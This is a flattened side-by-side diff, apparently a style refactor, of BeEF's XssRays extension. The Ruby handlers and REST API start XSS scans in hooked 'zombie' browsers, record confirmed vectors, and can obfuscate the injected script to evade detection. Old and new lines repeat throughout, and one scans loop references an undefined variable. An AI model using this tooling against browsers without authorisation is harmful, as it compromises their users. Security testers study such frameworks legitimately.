# Mounts the handlers and REST interface for processing XSS rays # Mounts the handlers and REST interface for processing XSS rays
# #
# @param beef_server [BeEF::Core::Server] HTTP server instance # @param beef_server [BeEF::Core::Server] HTTP server instance
# #
def self.mount_handler(beef_server) def self.mount_handler(beef_server)
# We register the http handler for the requester. # We register the http handler for the requester.
# This http handler will retrieve the http responses for all requests # This http handler will retrieve the http responses for all requests
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new) beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
# REST API endpoint # REST API endpoint
beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new) beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)
end end
end end
module RegisterPreHookCallback module RegisterPreHookCallback
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
# checks at every polling if there are new scans to be started
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
return if hooked_browser.nil?
# checks at every polling if there are new scans to be started
def self.pre_hook_send(hooked_browser, body, params, request, response)
if hooked_browser != nil
xssrays = BeEF::Extension::Xssrays::API::Scan.new xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, body) xssrays.start_scan(hooked_browser, body)
end end
end
end end
end end
end end
end
end

View File

@@ -7,9 +7,7 @@ module BeEF
module Extension module Extension
module Xssrays module Xssrays
module API module API
class Scan class Scan
include BeEF::Core::Handlers::Modules::BeEFJS include BeEF::Core::Handlers::Modules::BeEFJS
# #
@@ -19,15 +17,15 @@ module BeEF
@body = body @body = body
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
hb = BeEF::Core::Models::HookedBrowser.find(hb.id) hb = BeEF::Core::Models::HookedBrowser.find(hb.id)
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested # TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want # TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
xs = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id, :is_started => false).first xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first
# stop here if there are no XssRays scans to be started # stop here if there are no XssRays scans to be started
return if xs == nil || xs.is_started == true return if xs.nil? || xs.is_started == true
# set the scan as started # set the scan as started
xs.update(:is_started => true) xs.update(is_started: true)
# build the beefjs xssrays component # build the beefjs xssrays component
@@ -38,21 +36,20 @@ module BeEF
ws = BeEF::Core::Websocket::Websocket.instance ws = BeEF::Core::Websocket::Websocket.instance
# TODO: antisnatchor: prevent sending "content" multiple times.
# todo antisnatchor: prevent sending "content" multiple times.
# Better leaving it after the first run, and don't send it again. # Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing. # todo antisnatchor: remove this gsub crap adding some hook packing.
# If we use WebSockets, just reply wih the component contents # If we use WebSockets, just reply wih the component contents
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session) if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('// content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com // Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file \'doc/COPYING\' for copying permission // See the file \'doc/COPYING\' for copying permission
//', "") //', '')
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout add_to_body xs.id, hb.session, beefurl, cross_domain, timeout
if config.get("beef.extension.evasion.enable") if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance evasion = BeEF::Extension::Evasion::Evasion.instance
ws.send(evasion.obfuscate(content) + @body, hb.session) ws.send(evasion.obfuscate(content) + @body, hb.session)
else else
@@ -65,19 +62,18 @@ module BeEF
end end
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].") print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].")
end end
def add_to_body(id, session, beefurl, cross_domain, timeout) def add_to_body(id, session, beefurl, cross_domain, timeout)
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
req = %Q{ req = %{
beef.execute(function() { beef.execute(function() {
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}); beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout});
}); });
} }
if config.get("beef.extension.evasion.enable") if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req) @body << evasion.obfuscate(req)
else else

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Xssrays module Xssrays
end
end end
end
end end
require 'extensions/xssrays/models/xssraysscan' require 'extensions/xssrays/models/xssraysscan'
@@ -17,4 +16,3 @@ require 'extensions/xssrays/api/scan'
require 'extensions/xssrays/handler' require 'extensions/xssrays/handler'
require 'extensions/xssrays/api' require 'extensions/xssrays/api'
require 'extensions/xssrays/rest/xssrays' require 'extensions/xssrays/rest/xssrays'

View File

@@ -6,9 +6,7 @@
module BeEF module BeEF
module Extension module Extension
module Xssrays module Xssrays
class Handler < BeEF::Core::Router::Router class Handler < BeEF::Core::Router::Router
XS = BeEF::Core::Models::Xssraysscan XS = BeEF::Core::Models::Xssraysscan
XD = BeEF::Core::Models::Xssraysdetail XD = BeEF::Core::Models::Xssraysdetail
HB = BeEF::Core::Models::HookedBrowser HB = BeEF::Core::Models::HookedBrowser
@@ -18,15 +16,15 @@ module BeEF
# raise an error if it's null or not found in the DB # raise an error if it's null or not found in the DB
beef_hook = params[:hbsess] || nil beef_hook = params[:hbsess] || nil
if beef_hook.nil? || HB.where(:session => beef_hook).first.nil? if beef_hook.nil? || HB.where(session: beef_hook).first.nil?
print_error "[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database" print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database'
return return
end end
# verify the specified ray ID is valid # verify the specified ray ID is valid
rays_scan_id = params[:raysid] || nil rays_scan_id = params[:raysid] || nil
if rays_scan_id.nil? || !BeEF::Filters::nums_only?(rays_scan_id) if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id)
print_error "[XSSRAYS] Invalid ray ID" print_error '[XSSRAYS] Invalid ray ID'
return return
end end
@@ -39,34 +37,33 @@ module BeEF
finalize_scan(rays_scan_id) finalize_scan(rays_scan_id)
else else
# invalid action # invalid action
print_error "[XSSRAYS] Invalid action" print_error '[XSSRAYS] Invalid action'
return return
end end
headers 'Pragma' => 'no-cache', headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache', 'Cache-Control' => 'no-cache',
'Expires' => '0', 'Expires' => '0',
'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST,GET' 'Access-Control-Allow-Methods' => 'POST,GET'
end end
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed. # parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
def parse_rays(rays_scan_id) def parse_rays(rays_scan_id)
xssrays_scan = XS.find(rays_scan_id) xssrays_scan = XS.find(rays_scan_id)
hooked_browser = HB.where(:session => params[:hbsess]).first hooked_browser = HB.where(session: params[:hbsess]).first
if xssrays_scan.nil? if xssrays_scan.nil?
print_error "[XSSRAYS] Invalid scan" print_error '[XSSRAYS] Invalid scan'
return return
end end
xssrays_detail = XD.new( xssrays_detail = XD.new(
:hooked_browser_id => hooked_browser.session, hooked_browser_id: hooked_browser.session,
:vector_name => params[:n], vector_name: params[:n],
:vector_method => params[:m], vector_method: params[:m],
:vector_poc => params[:p], vector_poc: params[:p],
:xssraysscan_id => xssrays_scan.id xssraysscan_id: xssrays_scan.id
) )
xssrays_detail.save xssrays_detail.save
@@ -79,11 +76,11 @@ module BeEF
xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id) xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id)
if xssrays_scan.nil? if xssrays_scan.nil?
print_error "[XSSRAYS] Invalid scan" print_error '[XSSRAYS] Invalid scan'
return return
end end
xssrays_scan.update(:is_finished => true, :scan_finish => Time.now) xssrays_scan.update(is_finished: true, scan_finish: Time.now)
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]") print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
end end
end end

View File

@@ -4,16 +4,15 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
module Models module Models
# #
# Store the rays details, basically verified XSS vulnerabilities # Store the rays details, basically verified XSS vulnerabilities
# #
class Xssraysdetail < BeEF::Core::Model class Xssraysdetail < BeEF::Core::Model
belongs_to :hooked_browser belongs_to :hooked_browser
belongs_to :xssraysscan belongs_to :xssraysscan
end
end
end end
end
end
end end

View File

@@ -4,17 +4,14 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
module Models module Models
# #
# Store the XssRays scans started and finished, with relative ID # Store the XssRays scans started and finished, with relative ID
# #
class Xssraysscan < BeEF::Core::Model class Xssraysscan < BeEF::Core::Model
has_many :xssrays_details
has_many :xssrays_details end
end
end end
end
end
end end

View File

@@ -6,10 +6,8 @@
module BeEF module BeEF
module Extension module Extension
module Xssrays module Xssrays
# This class handles the routing of RESTful API requests for XSSRays # This class handles the routing of RESTful API requests for XSSRays
class XssraysRest < BeEF::Core::Router::Router class XssraysRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing # Filters out bad requests before performing any routing
before do before do
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
@@ -18,9 +16,9 @@ module BeEF
halt 401 unless params[:token] == config.get('beef.api_token') halt 401 unless params[:token] == config.get('beef.api_token')
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
CLEAN_TIMEOUT = config.get("beef.extension.xssrays.clean_timeout") || 3_000 CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000
CROSS_DOMAIN = config.get("beef.extension.xssrays.cross_domain") || true CROSS_DOMAIN = config.get('beef.extension.xssrays.cross_domain') || true
HB = BeEF::Core::Models::HookedBrowser HB = BeEF::Core::Models::HookedBrowser
XS = BeEF::Core::Models::Xssraysscan XS = BeEF::Core::Models::Xssraysscan
XD = BeEF::Core::Models::Xssraysdetail XD = BeEF::Core::Models::Xssraysdetail
@@ -33,142 +31,133 @@ module BeEF
# Returns the entire list of rays for all zombies # Returns the entire list of rays for all zombies
get '/rays' do get '/rays' do
begin rays = XD.all.distinct.order(:id)
rays = XD.all.distinct.order(:id) count = rays.length
count = rays.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:rays] = [] result[:rays] = []
rays.each do |ray| rays.each do |ray|
result[:rays] << ray2hash(ray) result[:rays] << ray2hash(ray)
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving rays (#{e.message})"
halt 500
end end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving rays (#{e.message})"
halt 500
end end
# Returns all rays given a specific hooked browser id # Returns all rays given a specific hooked browser id
get '/rays/:id' do get '/rays/:id' do
begin id = params[:id]
id = params[:id]
rays = XD.where(:hooked_browser_id => id).distinct.order(:id) rays = XD.where(hooked_browser_id: id).distinct.order(:id)
count = rays.length count = rays.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:rays] = [] result[:rays] = []
rays.each do |ray| rays.each do |ray|
result[:rays] << ray2hash(ray) result[:rays] << ray2hash(ray)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
# Returns the entire list of scans for all zombies # Returns the entire list of scans for all zombies
get '/scans' do get '/scans' do
begin scans = XS.distinct.order(:id)
scans = XS.distinct.order(:id) count = scans.length
count = scans.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:scans] = [] result[:scans] = []
scans.each do |scan| scans.each do |scan|
result[:scans] << scan2hash(scan) result[:scans] << scan2hash(scan)
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving scans (#{e.message})"
halt 500
end end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving scans (#{e.message})"
halt 500
end end
# Returns all scans given a specific hooked browser id # Returns all scans given a specific hooked browser id
get '/scans/:id' do get '/scans/:id' do
begin id = params[:id]
id = params[:id]
scans = XS.where(:hooked_browser_id => id).distinct.order(:id) scans = XS.where(hooked_browser_id: id).distinct.order(:id)
count = scans.length count = scans.length
result = {} result = {}
result[:count] = count result[:count] = count
result[:scans] = [] result[:scans] = []
scans.each do |scans| scans.each do |_scans|
result[:scans] << scan2hash(scan) result[:scans] << scan2hash(scan)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
halt 500
end end
# Starts a new scan on the specified zombie ID # Starts a new scan on the specified zombie ID
post '/scan/:id' do post '/scan/:id' do
begin id = params[:id]
id = params[:id]
hooked_browser = HB.where(:session => id).distinct.order(:id).first hooked_browser = HB.where(session: id).distinct.order(:id).first
if hooked_browser.nil? if hooked_browser.nil?
print_error "[XSSRAYS] Invalid hooked browser ID" print_error '[XSSRAYS] Invalid hooked browser ID'
return return
end
# set Cross-domain settings
cross_domain = params[:cross_domain].to_s
if cross_domain == ''
cross_domain = CROSS_DOMAIN
elsif cross_domain == 'false'
cross_domain = false
else
cross_domain = true
end
# set clean timeout settings
clean_timeout = params[:clean_timeout].to_s
if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
clean_timeout = CLEAN_TIMEOUT
end
xssrays_scan = XS.new(
:hooked_browser_id => hooked_browser.id,
:scan_start => Time.now,
:domain => hooked_browser.domain,
# check also cross-domain URIs found by the crawler
:cross_domain => cross_domain,
# how long to wait before removing the iFrames from the DOM (5000ms default)
:clean_timeout => clean_timeout
)
xssrays_scan.save
print_info("[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], hooked domain [#{hooked_browser.domain}], cross-domain: #{cross_domain}, clean timeout: #{clean_timeout}")
result = scan2hash(xssrays_scan)
print_debug "[XSSRays] New scan: #{result}"
#result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
halt 500
end end
# set Cross-domain settings
cross_domain = params[:cross_domain].to_s
cross_domain = if cross_domain == ''
CROSS_DOMAIN
else
cross_domain != 'false'
end
# set clean timeout settings
clean_timeout = params[:clean_timeout].to_s
clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
xssrays_scan = XS.new(
hooked_browser_id: hooked_browser.id,
scan_start: Time.now,
domain: hooked_browser.domain,
# check also cross-domain URIs found by the crawler
cross_domain: cross_domain,
# how long to wait before removing the iFrames from the DOM (5000ms default)
clean_timeout: clean_timeout
)
xssrays_scan.save
print_info(
"[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \
"hooked domain [#{hooked_browser.domain}], " \
"cross-domain: #{cross_domain}, " \
"clean timeout: #{clean_timeout}"
)
result = scan2hash(xssrays_scan)
print_debug "[XSSRays] New scan: #{result}"
# result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
halt 500
end end
private private
@@ -176,32 +165,32 @@ module BeEF
# Convert a ray object to JSON # Convert a ray object to JSON
def ray2hash(ray) def ray2hash(ray)
{ {
:id => ray.id, id: ray.id,
:hooked_browser_id => ray.hooked_browser_id, hooked_browser_id: ray.hooked_browser_id,
:vector_name => ray.vector_name, vector_name: ray.vector_name,
:vector_method => ray.vector_method, vector_method: ray.vector_method,
:vector_poc => ray.vector_poc vector_poc: ray.vector_poc
} }
end end
# Convert a scan object to JSON # Convert a scan object to JSON
def scan2hash(scan) def scan2hash(scan)
{ {
:id => scan.id, id: scan.id,
:hooked_browser_id => scan.hooked_browser_id, hooked_browser_id: scan.hooked_browser_id,
:scan_start=> scan.scan_start, scan_start: scan.scan_start,
:scan_finish=> scan.scan_finish, scan_finish: scan.scan_finish,
:domain => scan.domain, domain: scan.domain,
:cross_domain => scan.cross_domain, cross_domain: scan.cross_domain,
:clean_timeout => scan.clean_timeout, clean_timeout: scan.clean_timeout,
:is_started => scan.is_started, is_started: scan.is_started,
:is_finished => scan.is_finished is_finished: scan.is_finished
} }
end end
# Raised when invalid JSON input is passed to an /api/xssrays handler. # Raised when invalid JSON input is passed to an /api/xssrays handler.
class InvalidJsonError < StandardError class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler' DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze
def initialize(message = nil) def initialize(message = nil)
super(message || DEFAULT_MESSAGE) super(message || DEFAULT_MESSAGE)
@@ -210,11 +199,11 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/xssrays handler. # Raised when an invalid named parameter is passed to an /api/xssrays handler.
class InvalidParamError < StandardError class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler' DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze
def initialize(message = nil) def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/xssrays handler" str = 'Invalid "%s" parameter passed to /api/xssrays handler'
message = sprintf str, message unless message.nil? message = format str, message unless message.nil?
super(message) super(message)
end end
end end